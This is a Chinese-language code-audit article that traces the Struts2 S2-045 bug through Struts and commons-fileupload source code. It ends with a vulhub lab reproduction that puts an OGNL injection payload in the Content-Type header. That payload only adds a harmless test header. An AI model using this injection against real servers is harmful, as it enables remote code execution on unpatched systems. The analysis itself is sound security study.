【Java代码审计】S2-045 远程代码执行漏洞分析复现
- 1.漏洞原理
- 2.靶场复现
1.漏洞原理
官方对该漏洞的描述是这样的:Struts2 默认处理 multipart 上传报文的解析器为 Jakarta 插件(org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest
类),但是 Jakarta 插件在处理文件上传(multipart)的请求时会捕捉异常信息,并对异常信息进行 OGNL 表达式处理。当 Content-Type 错误时会抛出异常并附带上 Content-Type 属性值,这里可通过构造附带 OGNL 表达式的请求导致远程代码执行漏洞
根据官方通告,该漏洞的影响范围为:Struts 2.3.5~Struts 2.3.31
、Struts 2.5~Struts 2.5.10
通过 diff 补丁信息我们可以看到,程序主要针对 Struts2 的 FileUploadInterceptor, 也就是对处理文件上传的拦截器进行了修改删除并重载了findText 函数:
通过跟进 LocalizedTextUtil.findText
,可以发现以下关键代码:
/**
* 在给定的类中查找文本,并返回本地化后的消息字符串。
*
* @param aClass 给定的类,用于定位资源文件
* @param aTextName 要查找的文本名称或键
* @param locale 本地化信息,用于确定要使用的语言环境
* @param defaultMessage 默认消息,如果未找到指定的文本,则返回此消息
* @param args 要格式化到消息中的参数
* @return 本地化后的消息字符串
*/
public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args) {
// 获取 ActionContext 中的值栈
ValueStack valueStack = ActionContext.getContext().getValueStack();
// 调用重载方法,传递给定的值栈
return findText(aClass, aTextName, locale, defaultMessage, args, valueStack);
}
通过 findText 我们可以看到, ActionContext.getContext().getValueStack()
获得了valueStack 的值。继续跟进 getValueStack 发现,注释中明确表示了这里将返回 OGNL,也就是说这里应该与我们的 OGNL 执行息息相关:
/**
* 获取 OGNL 值栈。
*
* @return OGNL 值栈。
*/
public ValueStack getValueStack() {
return (ValueStack) get(VALUE_STACK);
}
接下来继续跟进 findText()
方法,这里 findText()
方法的代码较长,我们只贴出重要部分以便于阅读。上一步我们已知 valueStack 和 OGNL 相关,因此这里也以其为主线跟进,直接搜索关键字定位到关键代码段:
可以看到 findMessage 会使用 valueStack,继续跟进 findMessage 方法。可以看到无论如何判断最终都会调用 getMessage 方法:
getMessage 的代码较少,跟进可以发现其通过 buildMessageFormat()
方法来对消息进行格式化,被格式化的消息则由 TextParseUtil.translateVariables()
来生成
同样,我们可以发现 getDefaultMessage()
方法也调用了 valueStack , 并且与getMessage()
一样都存在 buildMessageFormat
方法用来对消息进行格式化,且格式化的消息都是由 TextParseUtil.translateVariables()
进行生成的
值得注意的是,getMessage 方法是需要一个 bundleName 参数的,在上层函数中我们可以知道该参数是由 aClass 赋值的,在整个触发流程中 aClass 是一个 File 异常类,并且这个类在 Collections 中是找不到的。也就是说,在所有的执行流程中 getMessage 和findMessage 都将返回 null。那么,整个流程中也就只有 getDefaultMessage 能够被触发
接着我们可以继续跟进 TextParseUtil.translateVariables
,看一下被格式化的消息是怎么生成的:
/**
* 将表达式中的变量转换为相应的值,并返回结果。
*
* @param openChars 表达式中的变量开放字符数组
* @param expression 要解析的表达式字符串
* @param stack 值栈对象,用于查找变量对应的值
* @param asType 期望的结果类型
* @param evaluator 自定义的值解析器,用于对查找到的值进行进一步处理
* @param maxLoopCount 解析循环的最大次数,以避免无限循环
* @return 解析后的表达式结果对象
*/
public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, int maxLoopCount) {
// 创建一个 ParsedValueEvaluator 对象,用于评估解析后的值
ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() {
public Object evaluate(String parsedValue) {
// 在值栈中查找变量对应的值
Object o = stack.findValue(parsedValue, asType);
// 如果自定义的值解析器存在且找到的值不为null,则对其进行进一步处理
if (evaluator != null && o != null) {
o = evaluator.evaluate(o.toString());
}
return o;
}
};
// 获取 TextParser 对象,用于解析表达式中的变量
TextParser parser = ((Container) stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);
// 使用 TextParser 对象解析表达式并返回结果
return parser.evaluate(openChars, expression, ognlEval, maxLoopCount);
}
可以看到这里构造并执行了 OGNL 表达式,也就是说,我们的有效载荷将在这里被执行。那么, 我们该如何去触发呢?根据开始的 diff 信息,我们知道:只要触发FileUploadInterceptor.java
下 intercept 的错误流程,并且 validation 的值不为空即可触发该漏洞。因此我们的方向十分明确:首先找到在哪里调用了 FileUploadInterceptor.java
下的intercept 方法
通过上面的判断可以知道,只有在产生异常时才会调用,我们便可以直接通过搜索异常状态的处理方法来进行定位,如搜索:FileUploadBase.SizeLimitExceededExceptione
:
/**
* 解析上传的文件并保存到指定目录。
*
* @param request HTTP 请求对象
* @param saveDir 文件保存目录路径
* @throws IOException 如果在解析或保存文件时发生 IO 异常
*/
public void parse(HttpServletRequest request, String saveDir) throws IOException {
try {
// 设置请求的本地化信息
setLocale(request);
// 处理上传的文件
processUpload(request, saveDir);
} catch (FileUploadException e) {
// 捕获文件上传异常
LOG.warn("Request exceeded size limit!", e);
LocalizedMessage errorMessage;
// 根据不同的文件上传异常类型构建相应的错误消息
if (e instanceof FileUploadBase.SizeLimitExceededException) {
FileUploadBase.SizeLimitExceededException ex = (FileUploadBase.SizeLimitExceededException) e;
errorMessage = buildErrorMessage(e, new Object[]{ex.getPermittedSize(), ex.getActualSize()});
} else {
errorMessage = buildErrorMessage(e, new Object[]{});
}
// 将错误消息添加到错误列表中(如果不重复)
if (!errors.contains(errorMessage)) {
errors.add(errorMessage);
}
} catch (Exception e) {
// 捕获其他异常
LOG.warn("Unable to parse request", e);
LocalizedMessage errorMessage = buildErrorMessage(e, new Object[]{});
// 将错误消息添加到错误列表中(如果不重复)
if (!errors.contains(errorMessage)) {
errors.add(errorMessage);
}
}
}
根据以上代码的逻辑,我们跟进 processUpload()
方法:
我们继续跟 进 createRequestContext
,可以看到其返回了一个实例化的RequestContext,并且拥有以下四种内置方法:getCharacterEncoding、getContentType、getContentLength、getInputStream
:
/**
* 创建一个请求上下文对象,用于包装 HttpServletRequest 对象的请求信息。
*
* @param req HTTP 请求对象
* @return 请求上下文对象
*/
protected RequestContext createRequestContext(final HttpServletRequest req) {
return new RequestContext() {
/**
* 获取请求的字符编码。
*
* @return 请求的字符编码
*/
public String getCharacterEncoding() {
return req.getCharacterEncoding();
}
/**
* 获取请求的内容类型。
*
* @return 请求的内容类型
*/
public String getContentType() {
return req.getContentType();
}
/**
* 获取请求的内容长度。
*
* @return 请求的内容长度
*/
public int getContentLength() {
return req.getContentLength();
}
/**
* 获取请求的输入流。
*
* @return 请求的输入流
* @throws IOException 如果获取输入流失败
*/
public InputStream getInputStream() throws IOException {
InputStream in = req.getInputStream();
if (in == null) {
throw new IOException("Missing content in the request");
}
return req.getInputStream();
}
};
}
继续跟进 commons-fileupload
中的 parseRequest
:
继续跟进getItemIterator
:
跟进 FileItemIteratorImpl
可以发现程序首先调用了 RequestContext
实例的 getContentType()
方法来返回请求的 ContentType 字段,然后校验 ContentType 是否为空或是否以 multipart 开头。若判断条件成立,则抛出一个错误,并将错误的 ContentType 加到报错信息中
这里的 InvalidContentTypeException
类是继承于 FileUploadException
的,也就是说,会抛出一个 FileUploadException
的错误
那么,parse又是在哪里被调用的呢?我们继续往上看可以发现,在MultiPartRequestWrapper
的MultiPartRequestWrapper
中存在调用:
通过搜索我们发现 MultiPartRequestWrapper
在 Dispatcher
中被实例化,并在这里判断了Content-Type
。只要在 Content-Type
中存在 multipart/form-data
,request 便能够进入到MultiPartRequestWrapper
中直接调用 multi.parse(request, saveDir)
我们只需将 Content-Type 设置成 123multipart/form-data
等类似形式,其便能作为异常信息进入到 buildErrorMessage
,进而触发 OGNL 表达式注入。接下来便是构造 Payload
2.靶场复现
vulhub地址
搭建漏洞环境:
打开8080端口,进入漏洞页面:
上传文件抓包,输入payload:
Content-Type:%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',521*2)}.multipart/form-data
命令执行成功: